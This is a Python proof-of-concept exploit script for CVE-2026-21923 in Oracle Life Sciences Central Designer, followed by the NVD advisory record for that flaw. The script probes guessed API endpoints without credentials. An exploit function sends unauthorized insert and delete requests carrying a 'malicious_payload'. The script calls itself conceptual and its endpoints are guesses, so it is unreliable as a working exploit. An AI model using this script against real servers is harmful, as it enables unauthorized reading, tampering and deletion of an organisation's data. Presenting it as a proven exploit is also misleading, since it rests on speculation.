CVE-2026-21923

# CVE-2026-21923 PoC - Oracle Life Sciences Central Designer Unauthorized Access # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires target environment import requests import sys TARGET_URL = "https://target-server.com/central-designer" CVE_ID = "CVE-2026-21923" def check_vulnerability(): """ Check if target is vulnerable to CVE-2026-21923 The vulnerability allows unauthorized data access via HTTP """ print(f"[*] Checking vulnerability for {CVE_ID}") # Common endpoint patterns for Oracle Central Designer endpoints = [ "/api/platform/data", "/api/v1/designer", "/platform/admin", "/api/data/records", "/api/exports" ] for endpoint in endpoints: url = f"{TARGET_URL}{endpoint}" try: # Attempt to access without authentication response = requests.get(url, timeout=10, verify=False) # Check for successful unauthorized access if response.status_code == 200: print(f"[!] Potential vulnerability detected at {endpoint}") print(f"[!] Status: {response.status_code}") print(f"[!] Response length: {len(response.content)} bytes") return True except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[*] No obvious vulnerability detected (may require authenticated context)") return False def exploit_unauthorized_access(): """ Attempt to exploit CVE-2026-21923 for data manipulation """ print("[*] Attempting exploitation...") # Unauthorized read operation read_url = f"{TARGET_URL}/api/platform/data" read_response = requests.get(read_url, timeout=10, verify=False) # Unauthorized write operation write_url = f"{TARGET_URL}/api/platform/data" write_data = {"action": "insert", "data": "malicious_payload"} write_response = requests.post(write_url, json=write_data, timeout=10, verify=False) # Unauthorized delete operation delete_url = f"{TARGET_URL}/api/platform/data/1" delete_response = requests.delete(delete_url, timeout=10, verify=False) print(f"[*] Read response: {read_response.status_code}") print(f"[*] Write response: {write_response.status_code}") print(f"[*] Delete response: {delete_response.status_code}") if __name__ == "__main__": if check_vulnerability(): print("[!] Target appears to be vulnerable!") # exploit_unauthorized_access() else: print("[*] Target does not appear to be vulnerable")

{"cve": {"id": "CVE-2026-21923", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:54.667", "lastModified": "2026-01-29T21:25:57.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Life Sciences Central Designer product of Oracle Health Sciences Applications (component: Platform). The supported version that is affected is 7.0.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Life Sciences Central Designer. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Life Sciences Central Designer accessible data as well as unauthorized read access to a subset of Oracle Life Sciences Central Designer accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Oracle Life Sciences Central Designer de Oracle Health Sciences Applications (componente: Platform). La versión compatible que se ve afectada es 7.0.1.0. Una vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red a través de HTTP comprometer Oracle Life Sciences Central Designer. Los ataques exitosos de esta vulnerabilidad pueden resultar en acceso no autorizado de actualización, inserción o eliminación a algunos de los datos accesibles de Oracle Life Sciences Central Designer, así como acceso de lectura no autorizado a un subconjunto de los datos accesibles de Oracle Life Sciences Central Designer. Puntuación base CVSS 3.1 de 6.5 (Impactos en la confidencialidad y la integridad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:life_sciences_central_designer:7.0.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "FD42C36C-1BB2-4A80-B997-1F9C1861D7A0"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}